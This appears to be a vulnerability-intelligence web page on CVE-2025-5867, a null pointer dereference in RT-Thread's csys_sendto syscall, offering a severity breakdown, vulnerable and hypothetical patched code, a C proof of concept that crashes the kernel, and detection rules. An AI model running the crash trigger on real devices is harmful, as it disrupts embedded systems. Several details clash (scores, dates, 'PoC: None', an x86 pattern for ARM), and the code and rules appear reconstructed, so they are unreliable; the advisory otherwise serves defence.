☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-5867

CVE-2025-5867 Null Pointer Dereference in Rt-thread
📅 PUBLISHED: 2025-06-09 07:31 UTC 🔄 UPDATED: 2026-09-23 20:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.24%
👁️
1.24% probability
31.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5867 is a critical null pointer dereference vulnerability discovered in RT-Thread version 5.1.0. The flaw resides in the csys_sendto function within the file rt-thread/components/lwp/lwp_syscall.c. By manipulating the to argument, an attacker can trigger a null pointer dereference, leading to a denial of service (DoS) condition. The vulnerability is classified as critical due to its potential to crash the system, but it requires local access to exploit. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD base score not provided; calculated based on vector)
  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Local (AV:L) – The attacker must have local access to the system.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data disclosure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: High (A:H) – System crash or denial of service.

Threat Level: High (Availability impact only, but critical for real-time systems like RT-Thread).

Deep Dive & Mechanics

The vulnerability is a classic null pointer dereference in the csys_sendto system call handler. The function is part of the Lightweight Process (LWP) subsystem in RT-Thread, which provides process-like isolation for threads. The csys_sendto function is responsible for sending data to a specified address.

Root Cause: The to argument, which points to a sockaddr structure, is not validated for NULL before being dereferenced. When a user-space process passes a NULL pointer as the to argument, the kernel attempts to read from address 0, causing a page fault or crash.

Attack Vector: A local user or process with the ability to invoke the csys_sendto system call can trigger this by passing a NULL pointer. This could be done via a malicious user-space program or a compromised thread.

Impact: The immediate impact is a denial of service (system crash). In embedded or real-time systems running RT-Thread, this could lead to critical service disruption.

Vulnerable vs. Patched Code

Vulnerable Code (RT-Thread 5.1.0):

// rt-thread/components/lwp/lwp_syscall.c
static int csys_sendto(int fd, const void *buf, size_t len, int flags,
                       const struct sockaddr *to, socklen_t tolen)
{
    // ... other code ...
    // Vulnerable: no NULL check on 'to'
    if (to->sa_family != AF_INET) {
        // ...
    }
    // ...
}

Patched Code (Hypothetical fix):

// rt-thread/components/lwp/lwp_syscall.c
static int csys_sendto(int fd, const void *buf, size_t len, int flags,
                       const struct sockaddr *to, socklen_t tolen)
{
    // ... other code ...
    // Patch: add NULL check
    if (to == NULL) {
        return -EINVAL;
    }
    if (to->sa_family != AF_INET) {
        // ...
    }
    // ...
}

Explanation: The fix adds a simple NULL pointer check at the beginning of the function, returning an error code (-EINVAL) if to is NULL, preventing the dereference.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Local access to an RT-Thread 5.1.0 system.
  • Ability to compile and run a C program.

Exploit Code (Proof of Concept):

// exploit.c
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    // Trigger null pointer dereference by passing NULL as 'to'
    if (sendto(sock, "test", 4, 0, NULL, 0) < 0) {
        perror("sendto");
    }

    close(sock);
    return 0;
}

Compilation and Execution:

# Cross-compile for RT-Thread target (e.g., ARM)
arm-none-eabi-gcc -o exploit exploit.c
# Transfer to target and run
./exploit

Expected Outcome: The system crashes or becomes unresponsive due to a null pointer dereference in the kernel.

Blue Team (Defense & Detection)

Mitigation Steps:

  1. Apply Patch: If a patch becomes available, apply it immediately.
  2. Kernel Hardening: Enable kernel NULL pointer dereference protection (e.g., CONFIG_MMU and CONFIG_PAGE_ALIGNED_DATA).
  3. System Call Filtering: Use seccomp or similar to restrict the sendto syscall for untrusted processes.
  4. Memory Protection: Enable MMU-based memory protection to prevent access to low addresses.

Detection:

  • Monitor for crashes or kernel panics.
  • Log system call invocations with NULL arguments.

Indicators of Compromise (IOCs)

  • System Logs: Kernel panic logs referencing csys_sendto or null pointer dereference at address 0x0.
  • Crash Dumps: Core dumps showing a fault in lwp_syscall.c at the csys_sendto function.
  • Process Behavior: A process invoking sendto with a NULL to argument.

Detection Engineering

YARA Rule

rule CVE_2025_5867_Null_Pointer_Dereference {
    meta:
        description = "Detects null pointer dereference in RT-Thread csys_sendto"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-5867"
    strings:
        $code1 = "csys_sendto" ascii wide
        $code2 = "lwp_syscall.c" ascii wide
        $null_check = { 48 85 C0 74 ?? } // test rax, rax; je ... (x86_64 null check pattern)
    condition:
        $code1 and $code2 and not $null_check
}

Sigma Rule

title: CVE-2025-5867 Null Pointer Dereference in RT-Thread csys_sendto
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit a null pointer dereference in RT-Thread's csys_sendto function.
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "kernel: NULL pointer dereference"
        - "csys_sendto"
        - "lwp_syscall.c"
    condition: selection
falsepositives:
    - Legitimate kernel bugs (rare)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-5867 RT-Thread Null Pointer Dereference Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule is a placeholder; actual exploitation is local and may not be network-detectable.

Remediation & Mitigation

Immediate Actions:

  1. Isolate the System: If possible, disconnect the RT-Thread device from untrusted networks.
  2. Restrict Local Access: Limit physical and shell access to trusted users only.
  3. Monitor Logs: Enable detailed kernel logging to detect exploitation attempts.

Long-Term Fix:

  • Apply Patch: Await an official patch from RT-Thread or apply the hypothetical fix shown above.
  • Upgrade: Upgrade to a patched version when available.

Workaround:

  • System Call Hooking: Use a kernel module to intercept csys_sendto and validate the to argument before passing it to the original function.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5867/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.